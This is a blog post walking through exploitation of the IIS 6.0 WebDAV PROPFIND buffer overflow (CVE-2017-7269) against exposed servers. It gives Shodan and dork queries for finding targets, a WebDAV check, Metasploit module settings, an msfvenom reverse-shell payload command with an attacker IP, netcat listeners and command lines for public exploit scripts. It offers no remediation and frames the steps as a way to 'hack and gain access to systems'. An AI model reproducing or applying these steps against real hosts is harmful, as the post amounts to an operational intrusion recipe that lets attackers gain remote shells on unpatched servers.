Exploiting Buffer Overflows - a real world example

André Eichhofer

Hi and welcome back to my blog. In the previous post about buffer overflows we examined how this vulnerability works in theory and how we can test it in our environment. Now, let’s examine how we can exploit a buffer overflow in the real world to hack and gain access to systems.

Microsoft IIS/6.0 DAV is a very very old webserver that usually runs on Windows Server 2003 R2. However, looking in the wild there are still a couple of these servers exposed to the public.

These servers suffer a buffer overflow vulnerability that can be exploited - also known as ScStoragePathFromUrl function buffer overflow or Explodingcan exploit.

The buffer overflow can be triggered when making a PROPFIND request with an overlength payload. The overflow allows remote attackers to execute arbitrary code via a long header beginning with If: <http:// in a PROPFIND request.

Example: Send Propfind Request to vulnerable server

PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 0
If: <http://localhost/aaaaaaa[BINARY DATA]> (Not <locktoken:write1>)   
<http://localhost/bbbbbbb[BINARY DATA]>

The vulnerability is located in the ScStoragePathFromUrl function at IIS/6.1. This function translates the file path coming in the URL to a valid physical path.

Preconditions

• Affected are Microsoft IIS/6.0
• running Windows Server 2003 R2
• WebDAV must be enabled at the server
• PROPFIND method must be allowed

Use the following Dorks or Shodan queries to find possible servers:

• “Microsoft-IIS/6.0” intitle:index.of
• services.banner: Micrcosoft-IIS/6.0

Reconnaissance

Vulnerable are only servers with WebDAV enabled and PROPFIND method allowed. On IIS 6.0, WebDAV is disabled by default.

You can find out manually if WebDAV is enabled by making a PROPFIND request with

• http --print hHb PROPFIND www.target.com (you may use curl, I personally prefer httpie.

to check whether Webdav is enabled. When WebDAV is enabled, it should return HTTP/1.1 207 Multi-Status. When WebDAV has been disabled, it should return HTTP/1.1 501 Not Supported.

You can further use the Metasploit module

• windows/iis/iis_webdav_scstoragepathfromurl with the > check command or the script or
• explodingcan-checker.py

to check if a target is vulnerable.

Exploitation

Exploiting using Metasploit

Open msfconsole and

• use exploit/windows/iis/iis_webdav_scstoragepathfromurl
• set LHOST to your local or public IP (if the victim is not in your local network)
• set LPORT to your port (use port 80 if possible)
• set RHOSTS to the IP of the victim
• RPORT is preconfigured to 80

Exploiting using explodingcan.py

Use MSFVenom to create a payload in shellcode, and save it to a file:

msfvenom -p windows/shell_reverse_tcp -f raw -e x86/alpha_mixed LHOST=<attacker_IP> LPORT=<attacker_port> > shellcode_rev

Start a netcat listener on the attacker machine: nc -lvp <attacker_port>

Run the script and pass the reverse shellcode as argument: python explodingcan.py http://<victim_IP> shellcode_rev

Check the listener

Exploiting with iis6_reverse_shell.py

Start a netcat listener on the attacker machine: nc -lvp <attacker_port>

Run the script with python2:

python2 iis6_reverse_shell.py <target_ip> <target_port> <reverse_IP> <reverse_port>

Links:

vk9-sec.com/microsoft-iis-scstoragepathfromurl-function-buffer-overflow-cve-2017-7269
github.com/danigargu/explodingcan